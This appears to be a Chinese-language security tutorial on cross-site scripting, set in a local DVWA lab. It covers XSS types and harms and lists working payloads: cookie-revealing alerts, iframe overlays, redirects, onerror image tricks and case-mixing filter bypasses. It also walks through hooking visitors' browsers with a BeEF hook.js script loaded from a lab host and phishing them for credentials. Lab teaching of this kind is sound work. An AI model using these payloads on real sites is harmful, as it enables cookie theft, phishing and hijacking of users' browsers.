从一开始的网络攻防(四):XSS
靶场环境:docker安装DVWA
search找到DVWA后,pull下来,运行就可以
docker run -dt --name dvwa -p 8999:80 --rm citizenstig/dvwa-d
Detached 模式(后台运行容器)
-t
分配伪终端(TTY),即使后台运行也保持 STDIN 开放
--rm
容器停止时自动删除容器文件系统(避免残留)
XSS攻击简介
跨站脚本攻击(Cross-site-scripting)
主要基于java script(JS)完成恶意攻击行为,JS可以非常灵活的操作html、css和浏览器,这使得XSS攻击的“想象"空间特别大。
XSS通过将精心构造代码(JS)代码注入到网页中,并由浏览器解释运行这段JS代码,以达到恶意攻击的效果
当用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来,用户浏览器就会解析这段XSS代码,也就是说用户被攻击了
只要没有对用户的输入进行严格过滤,就会被XSS
XSS危害
- 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
- 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
- 盗窃企业重要的具有商业价值的资料非法转账
- 强制发送电子邮件
- 网站挂马让更多人的受害
- 控制受害者机器向其它网站发起攻击卖肉机
XSS分类
反射型
非持久性跨站点脚本攻击
攻击是一次性的,仅对当次的页面访问产生影响
攻击流程
存储型
持久型跨站点脚本
攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在
攻击流程
DOM型
既可能是反射型的,也有可能是存储型的
基于文档对象模型(Document Objeet Model,DOM)的一种漏洞
XSS产生原因
- Web应用对用户输入过滤不严谨
- 攻击者写入恶意的脚本代码到网页中
- 用户访问了含有恶意代码的网页
- 恶意脚本就会被浏览器解析执行并导致用户被攻击
构造XSS攻击
基础知识
常用html标签
- <iframe> iframe标签会创建包含另外一个文档的内联框架
- <textarea> textarea标签定义多行的文本输入控件
- <img> img标签向网页中嵌入一幅图像
- <script> script标签用于定义客户端脚本,比如JavaScriptript标签既可以包含脚本语句,也可以通过src属性指向外部脚本文件
-
- 必需的type属性规定脚本的类型
- JavaScript的常见应用是图像操作、表单验证以及动态内容更新
常用的js脚本
- alert——alert方法用于显示带有一条指定消息和一个确认按钮的警告框
- window,location——window.location对象用于获得当前页面的地址(URL),并把浏览器重定向到新的页面
- location.href——返回当前显示的文档的完整URL
- onload——一张页面或一幅图像完成加载
- onsubmit——一个按钮被点击
- onerror——在加载文档或图像时发生错误
构造脚本的方式
弹窗警告
<script>alert(1)</script>
中间换成document.cookie,可以弹窗用户cookie,<script>alert(document.cookie)</script>
页面嵌套
<iframe style="overflow:hidden;width:520px;height:400px;position:fixed;left:500px;top:400px;border:none;margin:0px;padding:0px;"src="http://192.168.8.133:8999/"></iframe>
src
里放js脚本或者钓鱼网站,这里就以dvwa
站点来演示
页面重定向
<script>window.location="https://www.baidu.com/"</script>
<!-- 或者 -->
<script>location.href="https://www.baidu.com/"</script>
网页会自动导航到其他界面
弹窗警告并重定向(更有效)
<script>alert("请移步到我们的新站");location.href="https://www.baidu.com/"</script>
点击确定即会跳转
图片标签利用
<img src= "#" onerror=alert('欢迎来钓鱼')>
src
后面本应该是实际的图片资源的路径,但是换成#
后会报错,触发onerror
的动作
onerror
动作可以是js脚本等,这里以alert
演示
存储型XSS基本演示
论坛里输入:你好中国<script>alert(1)</script>你好china
执行后会存到数据库中
之后其他人打开这个页面都会弹xss
访问恶意代码(网站种马)
诱导用户访问恶意网站的攻击文件xss.js,比如获取用户cookie稍后会通过BeEF将建立恶意站点
过滤绕过姿势
1. 大小写
<ScrIpt>alert('xss')</SCRipt>
2. 字符编码
字符编码采用URL、BaSe64、HTML等编码
<img src=x onerror="javascript:alert('XSS')">
图片标签利用,触发onerror
自动XSS攻击
BeEF
Browser Exploitation Framework(BeEF)BeEF - The Browser Exploitation Framework Project
BeEF是目前强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透
BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单
功能
利用BeEF自动XSS攻击
1.1. kali中启动BeEF
1.2. 登录BeEF
http:/192.168.8.133:3000/ui/panel
用户名beef
密码123456
1.3. 在dvwa网站中植入xss
1.3.1. DVWA清空缓存
1.3.2. DVWA植入XSS
<script src="http://192.168.8.133:3000/hook.js"></script>
在存储型XSS的点植入
1.4. 其他机器访问被攻击页面dwa的页面
本机访问,变成肉机,上线
因为是用过IP为192.168.8.1
的网卡跟192.168.8.133
连接,所以显示为192.168.8.1
1.5. 上线作用——社工
发送一个钓鱼攻击到肉鸡上,肉鸡会弹出相应的窗口
肉鸡在填入账号和密码后,在beef上获得数据
命令的颜色区别
- 绿色对目标主机生效并且不可见(不会被发现)
-
- 可获得肉机的正在运行的页面
- 橙色对目标主机生效但可能可见(可能被发现)
- 灰色对目标主机未必生效(可验证下)
- 红色对目标主机不生效